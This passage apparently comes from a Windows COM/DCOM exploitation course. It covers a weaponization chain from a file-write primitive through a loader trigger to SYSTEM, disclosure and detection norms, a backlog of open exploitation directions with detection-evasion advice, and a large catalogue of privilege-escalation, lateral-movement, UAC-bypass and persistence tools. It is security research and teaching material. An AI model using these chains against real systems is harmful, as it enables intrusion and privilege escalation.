  • Token type math. CreateProcessWithTokenW needs an impersonate-capable primary-token duplicate; CreateProcessAsUser needs SeAssignPrimaryTokenPrivilege; an Identification token is a dead end for both — verify the captured token in TokenViewer before writing the spawn code ([12]).
  • Ping/liveness. Holding OBJREFs across long analysis sessions fails silently: missed pings let the server garbage-collect stubs. Re-resolve OXIDs on long runs.

8. Stage 7 — Weaponization and reporting

8.1 The full-chain template

The course's two end-to-end chains (DiagHub, USO) share one template; every new primitive you prove should be driven through the same four stages:

  1. Primitive — the thing Stage 6 proved (arbitrary file write, server-side instantiation, token capture, type confusion).
  2. File write (if not already code execution) — overwrite a loadable artifact in a privileged location. The canonical target properties: System32-resident, not TrustedInstaller-owned, not system-critical. DiagHub's worked example used C:\Windows\System32\license.rtf ([3]); LocalPotato's write primitive was aimed at SprintCSP.dll or printconfig.dll ([14]).
  3. Loader trigger — a COM/RPC method that loads or executes the planted artifact as the privileged identity, ideally outside DllMain/loader lock: DiagHub AddAgent("license.rtf", guid) (the service calls DllGetClassObject after load ([3])); USO's windowscoredeviceinfo.dll load on Update Session creation, triggered by usoclient.exe StartScan or directly over COM (the service calls a specific export after load ([5], [6])); SprintCSP.dll + SvcRebootToFlashingMode, or overwrite printconfig.dll and instantiate PrintNotify ([14]).
  4. SYSTEM — payload runs in the service context; if you captured a token instead, apply §7.3's token math.
primitive ──► file write ──► loader trigger ──► SYSTEM
StorSvc ACL      license.rtf     DiagHub AddAgent       DllGetClassObject as SYSTEM   ([3])
any write        windowscoredeviceinfo.dll   USO session create   export call as SYSTEM ([5])
LocalPotato SMB  SprintCSP.dll   SvcRebootToFlashingMode          service as SYSTEM     ([14])

Key idea: Microsoft keeps killing stage 3 (ProcessImageLoadPolicy, VerifyTrust, KnownDlls changes) because stages 12 are cheap to find. Budget your research time accordingly: a standing list of fresh loader triggers is the reusable asset; the file-write bugs that feed them are renewable.

8.2 Reporting norms (as supported by the course's documented cases)

  • Know the boundary rules before you write. Microsoft's servicing criteria decide whether your finding gets a CVE: UAC is explicitly not a hard security boundary ("we don't consider UAC a hard security boundary, but rather, a customizable enhancement" — MSRC case 64957, per Kanthak ([43])); PPL-only escapes get no CVEs/bounties, with fixes shipped late in new Windows versions ([4], [24]); integrity levels are not a security boundary either — the lesson of the CVE-2017-0298 bad fix, where HelpPane compared integrity levels instead of verifying the caller's admin membership. The LocalPotato HTTP/WebDAV scenario was left unpatched as an explicit Microsoft decision ([15]). Servicing-criteria link: ([44]).
  • Write the report like the ones that landed. Forshaw's P0 issues are the model: mechanism-first (what trust assumption fails), minimal PoC, affected builds, and — critically — follow-up when the fix is wrong ("Bad Fix for COM Session Moniker EoP" became CVE-2017-0298). Track the fix: the 1809 OXID change was a silent rpcss.dll fix with no CVE, found by diffing ([9]).
  • Coordinated disclosure in practice (from the course corpus): CVE-2015-2370 reported 2015-04-09 via Project Zero, patched as MS15-076 on 2015-07-14 ([8]); the trapped-COM-objects bug class was published as a class write-up after Microsoft declined boundary status ([4]); decoder's "No more rotten/juicy potato?" documented a silent mitigation publicly ([9]); CISA KEV later absorbed CVE-2017-0213 and CVE-2019-1388 — evidence that "not fixed" does not mean "not exploited."
  • Detection content is part of the deliverable. Include the telemetry map with your PoC: which ETW providers fire (Microsoft-Windows-RPC EID 5/6 records InterfaceUuid/OpNum), which DistributedCOM events appear (1003610038 for hardening refusals), which registry values change (AllowDCOMReflection/OnlyUseLatestCLR are high-fidelity trapped-COM artifacts). A finding that ships with its own detections gets patched — and credited — faster.

9. The research backlog: open problems worth hunting

Every row below is an open direction stated in the underlying research — not speculation. The first experiment is sized to one lab day.

Hypothesis Why it might exist First experiment
Alternative IDispatch classes beyond the documented five enable trapped-object chains without the PPL CLR-load limitation Outflank's LLM-assisted enumeration found exactly such alternatives after the WaaSMedicSvc path failed on updated Win11; the failure is target-specific, not class-specific ([22]) Re-run Get-ComClass -ServiceIsDispatch filter across builds, SKUs, and third-party software; for each hit, walk ReferencedTypeLibs and test server-side CreateInstance of an in-proc CoClass
Trapped-object variants beyond StdFont StdPicture has an OOP check; StdFont does not — registration checks are per-class, so other in-proc CoClasses in commonly referenced typelibs may share the gap; stdole is virtually always referenced, and Forshaw found no direct EoP in the font object itself, leaving the class under-explored ([4]) Enumerate every CoClass in the referenced typelibs of each IDispatch server; instantiate each via the remote typelib and confirm host PID with Get-ComObjRef
Reg-free COM manifest hijack as a stealth path Activation-context manifests resolve classes before the registry; entries are invisible to naive HKCR hunting and need no registry write at all Inventory %WinDir%\WinSxS\Manifests for comClass/comInterfaceExternalProxyStub declarations; in a lab, plant an attacker manifest beside a side-loadable binary and observe resolution order
WinRT broker surface hides the next sandbox escape Brokers are OOP COM servers with sandbox-facing activation permissions, registered under HKLM\SOFTWARE\Microsoft\WindowsRuntime where classic CLSID tooling cannot see them; CVE-2019-0555 is the precedent ([4]) Enumerate ActivatableClassId server mappings; run the §3 triage checklist against broker AppIDs, prioritizing AppContainer-reachable ones
Session/cross-session activation still exposes interactive-user classes RunAs=Interactive User instantiates the object in whatever session is interactive; the class produced CVE-2017-0100 and, a decade later, CVE-2023-33127 ([46], [11]) Apply the OleViewDotNet "Run as: Interactive User" filter per build; activate each from a service session and document what client verification the server performs
TypeLib script-moniker paths survive as a load primitive LoadTypeLib parses a non-TLB path as a moniker display name, so script: URLs execute from a "data" API; observed in the wild (ReliaQuest 2025) and in VS poisoning ([23], [35]) Inventory high-frequency Automation LIBIDs (explorer touches SHDocVw {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B} constantly); shadow per-user and record which processes load it and whether the script: string survives per-build hardening
DCOM relay post-KB5004442 has exploitable boundaries The floor stops relay to activation, but relay from DCOM still works (RemoteMonologue's RunAs tampering + UNC-dereferencing methods); the LocalPotato HTTP scenario is unpatched by decision; RemotePotato0 was "Won't Fix" ([26], [15], [27]) Inventory methods that dereference UNC paths (the RemoteMonologue set: ServerDataCollectorSet, FileSystemImage, UpdateSession, MSTSWebProxy); test coercion from each with the PKT_INTEGRITY floor enforced
Per-user hijack into PPL without admin Forshaw: the general trapped-object technique does not require admin if any suitable IDispatch-exposing server activates user-scope classes — the per-user variant of the StdFont TreatAs hijack ([4]) Find PPL-hosted classes that activate HKCU-scope classes in-session; test TreatAs and TypeLib shadows under HKCU\Software\Classes against them

OpSec: Several rows (TypeLib shadows, TreatAs, AllowDCOMReflection) are heavily signatured since 2025. Run backlog experiments on instrumented VMs and diff your own telemetry against the public Sigma/Elastic coverage — the rows where your experiment is invisible are the publishable ones.


10. Appendix A — Master tooling table

Every tool named in the course's research briefs, one row each. means the brief named the tool without a URL (built-in Windows components, or links not given in the sources); retrieve those from their official channels only.

Category Tool Author Purpose URL
Enumeration & analysis OleViewDotNet James Forshaw (tyranid) The recon workhorse: classes/interfaces/AppIDs/typelibs, decoded ACLs, RunAs filters, ROT, method invocation, proxy decompilation, .winmd parsing https://github.com/tyranid/oleviewdotnet
Enumeration & analysis oleview.exe Microsoft (SDK) Legacy COM/OLE viewer
Enumeration & analysis dcomcnfg.exe Microsoft GUI for AppID Launch/Access ACLs and machine OLE defaults
Enumeration & analysis RpcView RPC endpoint/interface (IPID) maps
Enumeration & analysis ProcMon Microsoft Sysinternals File/registry/LoadImage tracing; phantom-CLSID hunting
Enumeration & analysis Autoruns Microsoft Sysinternals Autostart enumeration (does not diff the full HKCU CLSID tree — known gap)
Enumeration & analysis Wireshark Wireshark project dcom/dcerpc dissectors; grep MEOW in captures
Enumeration & analysis API Monitor Parameter-level API logging
Enumeration & analysis Event Viewer Microsoft DistributedCOM 10010/10015/10016/1003610038 telemetry
Enumeration & analysis Win32_DCOMApplication / Win32_COMSetting Microsoft (WMI) DCOM app and COM-setting inventory
Enumeration & analysis incendium.rocks methodology incendium.rocks Automated registry → JSON → Invoke research pipeline https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/
Enumeration & analysis JuicyPotato CLSID lists ohpe / @Giutro & @decoder_it Per-OS abusable-CLSID corpora http://ohpe.it/juicy-potato/CLSID/
Enumeration & analysis strontic xcyclopedia strontic CLSID library/catalog
Enumeration & analysis awesome-potatoes bodik Potato study notes and link farm https://github.com/bodik/awesome-potatoes
Enumeration & analysis BloodHound (ExecuteDCOM edge) SpecterOps Graph modeling of DCOM-abusable admin relationships https://bloodhound.specterops.io/resources/edges/execute-dcom
Reverse engineering & debugging WinDbg (dqs, symchk) Microsoft VTable symbolization, server attach, breakpoint harness, PDB retrieval
Reverse engineering & debugging IDA / Ghidra Hex-Rays / NSA Server-binary disassembly; string xref ("StartScan" technique)
Reverse engineering & debugging BinDiff Patch diffing rpcss.dll, combase.dll, ole32.dll, oleaut32.dll, usosvc.dll
Reverse engineering & debugging TokenViewer James Forshaw Inspect captured tokens — impersonation vs identification
Reverse engineering & debugging NtObjectManager Get-AccessibleFile -AccessRights WriteDac target-file enumeration
Reverse engineering & debugging ExploitRemotingService James Forshaw .NET remoting trapped-object exploitation
Reverse engineering & debugging IE11SandboxEscapes James Forshaw CVE-2014-0257 .NET DCOM reflection PoC (reference for trapped-object PoC) https://github.com/tyranid/IE11SandboxEscapes
Reverse engineering & debugging COMRace USENIX Security '22 authors Data-race detection in COM objects https://www.youtube.com/watch?v=9bBh2YEqVMA
Local privilege escalation (potato family & bridges) RottenPotato FoxGlove Security (@breenmachine, @vvalien1) BITS DCOM trigger + NTLM reflection (≤1803) https://github.com/foxglovesec/RottenPotato
Local privilege escalation (potato family & bridges) RottenPotatoNG FoxGlove Security Standalone C++ port (no Meterpreter) https://github.com/foxglovesec/RottenPotatoNG
Local privilege escalation (potato family & bridges) LonelyPotato decoder RottenPotato standalone https://decoder.cloud/2017/12/23/the-lonely-potato/
Local privilege escalation (potato family & bridges) JuicyPotato ohpe / @Giutro & @decoder_it Arbitrary CLSID/port/program reflection (≤1803) https://github.com/ohpe/juicy-potato
Local privilege escalation (potato family & bridges) RoguePotato @decoder_it & @splinter_code Fake OXID resolver + named-pipe redirect (1809+) https://github.com/antonioCoco/RoguePotato
Local privilege escalation (potato family & bridges) RogueWinRM antonioCoco BITS→WinRM HTTP NTLM capture https://github.com/antonioCoco/RogueWinRM
Local privilege escalation (potato family & bridges) SweetPotato @EthicalChaos / CCob C# unified potato toolkit https://github.com/CCob/SweetPotato
Local privilege escalation (potato family & bridges) JuicyPotatoNG @decoder_it & @splinter_code Type-9 LogonUser + SSPI hook (1809+/Win11) https://github.com/antonioCoco/JuicyPotatoNG
Local privilege escalation (potato family & bridges) LocalPotato @decoder_it & @splinter_code NTLM context swap → SYSTEM SMB write (CVE-2023-21746) https://github.com/decoder-it/LocalPotato
Local privilege escalation (potato family & bridges) GodPotato BeichenDream Service-DCOM trigger + callback impersonation (Win811) https://github.com/BeichenDream/GodPotato
Local privilege escalation (potato family & bridges) DCOMPotato zcgonvh Attacker IUnknown callback → CoImpersonateClient https://github.com/zcgonvh/DCOMPotato
Local privilege escalation (potato family & bridges) PrintNotifyPotato BeichenDream PrintNotify CLSID + callback (works with legacy Spooler off) https://github.com/BeichenDream/PrintNotifyPotato
Local privilege escalation (potato family & bridges) PrintSpoofer itm4n Spooler pipe-name normalization + impersonation https://github.com/itm4n/PrintSpoofer
Local privilege escalation (potato family & bridges) BadPotato BeichenDream PrintSpoofer C# port https://github.com/BeichenDream/BadPotato
Local privilege escalation (potato family & bridges) EfsPotato zcgonvh MS-EFSR coercion + pipe impersonation https://github.com/zcgonvh/EfsPotato
Local privilege escalation (potato family & bridges) SharpEfsPotato bugch3ck EfsPotato C# variant https://github.com/bugch3ck/SharpEfsPotato
Local privilege escalation (potato family & bridges) CoercedPotato @Hack0ura & @Prepouce (Hackvens) Automated multi-coercion (MS-RPRN + MS-EFSR) https://github.com/Prepouce/CoercedPotato
Local privilege escalation (potato family & bridges) PetitPotato wh0amitz Local PetitPotam → pipe https://github.com/wh0amitz/PetitPotato
Local privilege escalation (potato family & bridges) RasmanPotato crisprss RasMan RPC coercion → pipe https://github.com/crisprss/RasmanPotato
Local privilege escalation (potato family & bridges) CandyPotato klezVirus Weaponized pure-C++ RottenPotatoNG https://github.com/klezVirus/CandyPotato
Local privilege escalation (potato family & bridges) MultiPotato S3cur3Th1sSh1t Multi-trigger combo https://github.com/S3cur3Th1sSh1t/MultiPotato
Local privilege escalation (potato family & bridges) SigmaPotato tylerdotrar Modernized GodPotato-style, in-memory .NET https://github.com/tylerdotrar/SigmaPotato
Local privilege escalation (potato family & bridges) GenericPotato Micah van Deusen Generic SeImpersonation → SYSTEM https://micahvandeusen.com/the-power-of-seimpersonation/
Local privilege escalation (potato family & bridges) GhostPotato Shenanigans Labs NTLM challenge-cache SMB relay bypass https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html
Local privilege escalation (potato family & bridges) RemotePotato0 antonioCoco / SentinelOne Cross-protocol RPC→HTTP relay (remote user→DA) https://github.com/antonioCoco/RemotePotato0
Local privilege escalation (potato family & bridges) CertPotato SensePost ADCS path from virtual/network service accounts https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/
Local privilege escalation (potato family & bridges) SpoolSample Lee Christensen MS-RPRN coercion PoC https://github.com/leechristensen/SpoolSample
Local privilege escalation (potato family & bridges) UsoDllLoader itm4n USO weaponization-bridge PoC https://github.com/itm4n/UsoDllLoader
Local privilege escalation (potato family & bridges) COMahawk NCC Group / Fox-IT CVE-2019-1405 + CVE-2019-1322 chain PoC
Local privilege escalation (potato family & bridges) RpcClient (StorSvc) BlackArrowSec SvcRebootToFlashingMode trigger client (LocalPotato weaponization)
Local privilege escalation (potato family & bridges) Trebuchet NetSPI MS15-076 → arbitrary file write https://www.netspi.com/blog/technical-blog/web-application-pentesting/exploiting-ms15-076-cve-2015-2370/
Lateral movement impacket (dcomexec.py, rpcdump.py, oxidresolver) Fortra (agsolino / byt3bl33d3r) DCOM exec via MMC20/ShellWindows/ShellBrowserWindow; RPC dumps; OXID resolver interface leak https://github.com/fortra/impacket
Lateral movement NetExec NetExec project --exec-method mmcexec remote command execution https://www.netexec.wiki/smb-protocol/command-execution/execute-remote-command
Lateral movement SharpCOM rvrsh3ll C# DCOM execution https://github.com/rvrsh3ll/SharpCOM
Lateral movement SharpExcel4-DCOM rvrsh3ll Excel XLM/shellcode via DCOM https://github.com/rvrsh3ll/SharpExcel4-DCOM
Lateral movement Invoke-DCOM.ps1 rvrsh3ll PowerShell DCOM invocation https://github.com/rvrsh3ll/Misc-Powershell-Scripts
Lateral movement CsDCOM / CheeseDCOM rasta-mouse C# DCOM tooling
Lateral movement SharpMove 0xthirteen Lateral movement (action=dcom/hijackdcom) https://github.com/0xthirteen/SharpMove
Lateral movement MoveKit Lateral movement kit
Lateral movement SharpLateral (reddcom) DCOM lateral movement
Lateral movement LethalHTA codewhitesec Remote htafile + custom moniker + DotNetToJScript https://github.com/codewhitesec/LethalHTA
Lateral movement Invoke-DCOMPowerPointPivot.ps1 attactics.org PowerPoint add-in DCOM pivot https://attactics.org/2018/02/dcom-lateral-movement-powerpoint/
Lateral movement Empire invoke_dcom module (MMC20, ShellWindows, ShellBrowserWindow, ExcelDDE, RegisterXLL)
Lateral movement Cobalt Strike remote-exec com-mmc20 via Aggressor
UAC bypass UACME (Akagi) hfiref0x The 82-method UAC-bypass corpus; read comsup.h and the ucm*Method modules https://github.com/hfiref0x/UACME
UAC bypass Sharp4COMBypassUAC xz.aliyun.com writeup ICMLuaUtil UAC bypass PoC https://xz.aliyun.com/t/16063
UAC bypass Atomic Red Team Red Canary T1548.002 / T1546.015 / T1021.003 lab tests https://github.com/redcanaryco/atomic-red-team
UAC bypass Metasploit Rapid7 bypassuac_eventvwr, bypassuac_comhijack, ms16_075_reflection, CVE-2019-0841 module https://github.com/rapid7/metasploit-framework
Persistence & hijacking acCOMplice / COMHijackToolkit David Tulis / NCC Group Extract-HijackableKeysFromProcmonCSV, Find-MissingLibraries, Hijack-CLSID, Hijack-MultipleKeys, masterkeys.csv https://github.com/nccgroup/Accomplice
Persistence & hijacking COM-Hunter @nickvourd + @S1ckB0y1337 search/persist/tasksch/treatas/remove modes (.NET + BOF) https://github.com/nickvourd/COM-Hunter
Persistence & hijacking Get-ScheduledTaskComHandler.ps1 enigma0x3 Enumerate scheduled tasks with ComHandler actions https://github.com/enigma0x3/Misc-PowerShell-Stuff
Persistence & hijacking COMProxy leoloobeek Pass-through hijack DLL PoC (+ TestCOMClient/TestCOMServer) https://github.com/leoloobeek/COMProxy
Persistence & hijacking SharpDllProxy Flangvik Export-forwarding stub generator https://github.com/Flangvik/SharpDllProxy
Persistence & hijacking FaceDancer Export-forwarding stub generator (recon -I target.dll -G)
Persistence & hijacking Koppeling Export-forwarding stub generator
Persistence & hijacking Invoke-OutlookPersistence.ps1 3gstudent Outlook TreatAs persistence automation (handles WOW6432Node) https://github.com/3gstudent/COM-Object-hijacking
Persistence & hijacking Invoke-EventVwrBypass.ps1 enigma0x3 eventvwr mscfile hijack PoC https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Persistence & hijacking CS-Situational-Awareness-BOF TrustedSec Situational-awareness BOF (COM enumeration) https://github.com/trustedsec/CS-Situational-Awareness-BOF
Persistence & hijacking EVTX-ATTACK-SAMPLES sbousseaden COM-hijack Sysmon telemetry samples https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES
Execution, injection & evasion DotNetToJScript James Forshaw .NET assembly → JScript/VBScript/HTA via COM-visible mscorlib classes https://github.com/tyranid/DotNetToJScript
Execution, injection & evasion SharpShooter MDSec DotNetToJScript-based payload generation https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/
Execution, injection & evasion CACTUSTORCH / GreatSCT / SuperSharpShooter DotNetToJScript-derived frameworks
Execution, injection & evasion PPLdump / PPLmedic / PPLKiller itm4n PPL bypass / injection tooling https://github.com/itm4n/PPLmedic
Execution, injection & evasion PPLFault gabriellandau PPL bypass
Execution, injection & evasion ANGRYORCHARD PPL follow-on tooling
Execution, injection & evasion IRundown::DoCallback injection MDSec COM-based injection into protected processes https://mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/
Execution, injection & evasion ForsHops IBM X-Force Red Remote trapped-COM fileless lateral movement https://github.com/xforcered/ForsHops
Execution, injection & evasion ComDotNetExploit Mohamed Fakroud / T3nb3w Local trapped-COM PPL-injection PoC https://github.com/T3nb3w/ComDotNetExploit
Execution, injection & evasion RemoteMonologue IBM X-Force (Andrew Oliveau) DCOM NTLM coercion via AppID RunAs tampering https://github.com/3lp4tr0n/RemoteMonologue
Execution, injection & evasion Koadic / Covenant C2 frameworks using COM scriptlet delivery
Defense validation & detection engineering RPC Firewall Zero Networks Per-call RPC UUID/opnum/source-IP filtering and logging (closes the raw-RPC-ETW remote-IP gap) https://github.com/zeronetworks/rpcfirewall
Defense validation & detection engineering sysmon-config SwiftOnSecurity Sysmon baseline configuration https://github.com/SwiftOnSecurity/sysmon-config
Defense validation & detection engineering sysmon-modular olafhartong Modular Sysmon configuration https://github.com/olafhartong/sysmon-modular
Defense validation & detection engineering Sigma SigmaHQ Rule set incl. COM hijack, MMC20, squiblydoo, RPC-firewall rules https://github.com/SigmaHQ/sigma
Defense validation & detection engineering Elastic detection-rules Elastic Prebuilt COM-hijack and DCOM-LM rules https://github.com/elastic/detection-rules

11. Appendix B — Master reading list

The further-reading picks from every chapter's Research Lab, deduplicated and grouped. Read in group order if you are new to the field; jump to the row matching your current pipeline stage otherwise.

COM internals & research methodology

Privilege escalation

Trapped objects, PPL & injection

  • Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw — the newest bug class in this course, with the full OleViewDotNet methodology ([4])
  • Injecting Code into Windows Protected Processes using COM, Part 1 — James Forshaw — typelib substitution → type confusion → PPL ([24])
  • Process Injection via Component Object Model (COM) IRundown::DoCallback — MDSec — the callback-execution injection primitive ([25])
  • Fileless Lateral Movement with Trapped COM Objects — IBM X-Force — taking the class remote ([21])

Lateral movement

UAC

Persistence

  • Abusing the COM Registry Structure Part 2 — bohops — loading techniques and evasion ([29])
  • Revisiting COM Hijacking — SpecterOps — modern hosts, export forwarding, OpSec ([30])
  • Proxying COM For Stable Hijacks — leoloobeek — the pass-through pattern ([33])
  • New Abuse of the ClickOnce Technology: Part 2 — CrowdStrike — phantom-object persistence ([31])
  • acCOMplice — David Tulis / NCC Group — discovery methodology and tooling — https://github.com/nccgroup/Accomplice
  • Persistence Part 2 COM Hijacking — Dominic Chell / MDSec — the ComHandler walkthrough ([32])

Execution, relay & detection

  • Attacking Visual Studio for Initial Access — Outflank — the LoadTypeLib moniker-parsing quirk ([23])
  • RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force — relay-from-DCOM in 2025 ([26])
  • Utilizing RPC Telemetry — SpecterOps — turning Microsoft-Windows-RPC ETW into call-level visibility — https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5

12. References

[1] OleViewDotNet — James Forshaw (tyranid) — https://github.com/tyranid/oleviewdotnet [2] Automating COM/DCOM vulnerability research — incendium.rocks — https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/ [3] Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html [4] Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw, Project Zero (2025) — https://projectzero.google/2025/01/windows-bug-class-accessing-trapped-com.html [5] Weaponizing Privileged File Writes with the USO Service, Part 1 — itm4n (2019) — https://itm4n.github.io/usodllloader-part1/ [6] Weaponizing Privileged File Writes with the USO Service, Part 2 — itm4n (2019) — https://itm4n.github.io/usodllloader-part2/ [7] CVE-2019-1405 and CVE-2019-1322 — Elevation to SYSTEM via the UPnP Device Host Service and the Update Orchestrator Service — NCC Group / Fox-IT, Langlois & Torkington (2019) — https://www.fox-it.com/be-en/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/ [8] Windows: DCOM DCE/RPC Local NTLM Reflection Elevation of Privilege (Project Zero issue 325) — James Forshaw (2015) — https://bugs.chromium.org/p/project-zero/issues/detail?id=325 [9] No more rotten/juicy potato? — decoder (2018) — https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/ [10] KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support — https://support.microsoft.com/en-au/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c [11] Abusing .NET Core CLR Diagnostic Features (CVE-2023-33127) — bohops (2023) — https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/ [12] No more JuicyPotato? Old story, welcome RoguePotato! — decoder (2020) — https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/ [13] Giving JuicyPotato a second chance: JuicyPotatoNG — decoder (2022) — https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/ [14] LocalPotato — When Swapping The Context Leads You To SYSTEM — decoder (2023) — https://decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system/ [15] LocalPotato HTTP edition — decoder (2023) — https://decoder.cloud/2023/11/03/localpotato-http-edition/ [16] JuicyPotato — abusing the golden privileges (with per-OS CLSID lists) — ohpe / @Giutro & @decoder_it (2018) — http://ohpe.it/juicy-potato/ and http://ohpe.it/juicy-potato/CLSID/ [17] Rotten Potato — Privilege Escalation from Service Accounts to SYSTEM — FoxGlove Security (2016) — https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ [18] Windows Exploitation Tricks: Relaying DCOM Authentication — James Forshaw, Google Project Zero (2021) — https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html [19] Sharing a Logon Session a Little Too Much — James Forshaw (2020) — https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html [20] Abusing IDispatch for Trapped COM Object Access & Injecting into PPL Processes — Mohamed Fakroud — https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes [21] Fileless lateral movement with trapped COM objects — IBM X-Force (2025) — https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects [22] Accelerating Offensive R&D with LLMs — Kyle Avery, Outflank (2025) — https://www.outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/ [23] Attacking Visual Studio for Initial Access — Outflank (2023) — https://www.outflank.nl/blog/2023/03/28/attacking-visual-studio-for-initial-access/ [24] Injecting Code into Windows Protected Processes using COM, Part 1 — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html [25] Process Injection via Component Object Model (COM) IRundown::DoCallback — MDSec (2022) — https://mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/ [26] RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force, Andrew Oliveau (2025) — https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions [27] Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol (RemotePotato0) — SentinelOne (2021) — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/ [28] Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — bohops (2018) — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/ [29] Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques for Evasion and Persistence — bohops (2018) — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ [30] Revisiting COM Hijacking — SpecterOps (2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/ [31] New Abuse of the ClickOnce Technology: Part 2 — CrowdStrike (2025) — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/ [32] Persistence Part 2 COM Hijacking — Dominic Chell, MDSec (2019) — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/ [33] Proxying COM For Stable Hijacks — leoloobeek (2019) — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/ [34] Userland Persistence with Scheduled Tasks and COM Handler Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/ [35] Hijacked and Hidden: New Backdoor and Persistence Technique — ReliaQuest (2025) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/ [36] Calling Local Windows RPC Servers — James Forshaw, Google Project Zero (2019) — https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html [37] The COM Elevation Moniker — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker [38] UACME — Defeating Windows User Account Control — hfiref0x — https://github.com/hfiref0x/UACME [39] COMRace: data-race detection in COM objects (USENIX Security 2022 talk) — https://www.youtube.com/watch?v=9bBh2YEqVMA [40] Enhancing Automatic Vulnerability Discovery for Windows RPC/COM in New Ways (Black Hat EU 2024 talk) — https://www.youtube.com/watch?v=VQiQuLo0v58 [41] DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape — hack.lu 2025 slides — https://d3lb3.github.io/assets/hacklu_2025.pdf [42] CVE-2020-1362 WalletService writeup — Q4n (2020) — https://github.com/Q4n/CVE-2020-1362 [43] Mitigate some Exploits for Windows UAC (MSRC case 64957 quote) — Stefan Kanthak — https://skanthak.hier-im-netz.de/uacamole.html [44] Microsoft Security Servicing Criteria for Windows — Microsoft — https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria [45] The case of COM failing to pump messages in a single-threaded COM apartment — Raymond Chen, The Old New Thing (2025) — https://devblogs.microsoft.com/oldnewthing/20250314-00/?p=110965 [46] CVE-2017-0100 — Windows HelpPane Elevation of Privilege Vulnerability — Microsoft Security Response Center (2017) — https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0100 [47] Merged View of HKEY_CLASSES_ROOT — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root [48] BloodHound — ExecuteDCOM edge — SpecterOps — https://bloodhound.specterops.io/resources/edges/execute-dcom [49] COM in Sixty Seconds — James Forshaw — https://github.com/tyranid/presentations